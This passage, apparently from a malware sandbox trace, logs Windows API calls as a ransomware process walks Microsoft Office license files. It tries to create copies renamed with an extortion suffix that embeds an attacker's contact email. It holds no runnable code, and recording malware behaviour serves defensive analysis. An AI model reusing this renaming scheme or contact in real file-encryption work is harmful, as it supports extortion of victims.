(in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.184] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.184] CloseHandle (hObject=0x1274) returned 1 [0251.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0251.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0251.185] lstrlenW (lpString=".doc") returned 4 [0251.185] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.185] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.186] CloseHandle (hObject=0x1274) returned 1 [0251.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0251.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0251.186] lstrlenW (lpString=".doc") returned 4 [0251.186] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.186] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.187] CloseHandle (hObject=0x1274) returned 1 [0251.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0251.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0251.188] lstrlenW (lpString=".doc") returned 4 [0251.188] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.188] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.189] CloseHandle (hObject=0x1274) returned 1 [0251.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0251.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0251.189] lstrlenW (lpString=".doc") returned 4 [0251.190] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.190] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.193] CloseHandle (hObject=0x1274) returned 1 [0251.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0251.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0251.193] lstrlenW (lpString=".doc") returned 4 [0251.194] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.194] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.194] CloseHandle (hObject=0x1274) returned 1 [0251.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0251.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0251.194] lstrlenW (lpString=".doc") returned 4 [0251.195] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.195] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.195] CloseHandle (hObject=0x1274) returned 1 [0251.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0251.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0251.196] lstrlenW (lpString=".doc") returned 4 [0251.196] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.196] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.197] CloseHandle (hObject=0x1274) returned 1 [0251.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0251.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0251.197] lstrlenW (lpString=".doc") returned 4 [0251.198] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.198] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.198] CloseHandle (hObject=0x1274) returned 1 [0251.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0251.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0251.198] lstrlenW (lpString=".doc") returned 4 [0251.199] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.199] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.199] CloseHandle (hObject=0x1274) returned 1 [0251.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0251.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0251.200] lstrlenW (lpString=".doc") returned 4 [0251.200] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.200] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.201] CloseHandle (hObject=0x1274) returned 1 [0251.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0251.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0251.201] lstrlenW (lpString=".doc") returned 4 [0251.203] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.203] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.203] CloseHandle (hObject=0x1274) returned 1 [0251.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0251.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83 [0251.204] lstrlenW (lpString=".doc") returned 4 [0251.204] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.204] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.204] CloseHandle (hObject=0x1274) returned 1 [0251.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0251.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0251.206] lstrlenW (lpString=".doc") returned 4 [0251.206] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.207] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.207] CloseHandle (hObject=0x1274) returned 1 [0251.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0251.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0251.207] lstrlenW (lpString=".doc") returned 4 [0251.208] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.208] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.208] CloseHandle (hObject=0x1274) returned 1 [0251.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0251.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0251.209] lstrlenW (lpString=".doc") returned 4 [0251.210] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.210] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.499] CloseHandle (hObject=0x1274) returned 1 [0251.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0251.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0251.499] lstrlenW (lpString=".doc") returned 4 [0251.500] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.500] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.501] CloseHandle (hObject=0x1274) returned 1 [0251.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0251.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0251.501] lstrlenW (lpString=".doc") returned 4 [0251.502] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.502] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.502] CloseHandle (hObject=0x1274) returned 1 [0251.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0251.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms") returned 90 [0251.503] lstrlenW (lpString=".doc") returned 4 [0251.503] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.504] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.504] CloseHandle (hObject=0x1274) returned 1 [0251.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0251.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82 [0251.504] lstrlenW (lpString=".doc") returned 4 [0251.505] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.505] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.506] CloseHandle (hObject=0x1274) returned 1 [0251.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0251.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0251.506] lstrlenW (lpString=".doc") returned 4 [0251.507] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.507] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.522] CloseHandle (hObject=0x1274) returned 1 [0251.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0251.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86 [0251.523] lstrlenW (lpString=".doc") returned 4 [0251.524] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.524] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.524] CloseHandle (hObject=0x1274) returned 1 [0251.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0251.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms") returned 82 [0251.525] lstrlenW (lpString=".doc") returned 4 [0251.525] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.526] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.526] CloseHandle (hObject=0x1274) returned 1 [0251.526] lstrlenW (lpString="C:\\Program Files\\Microsoft 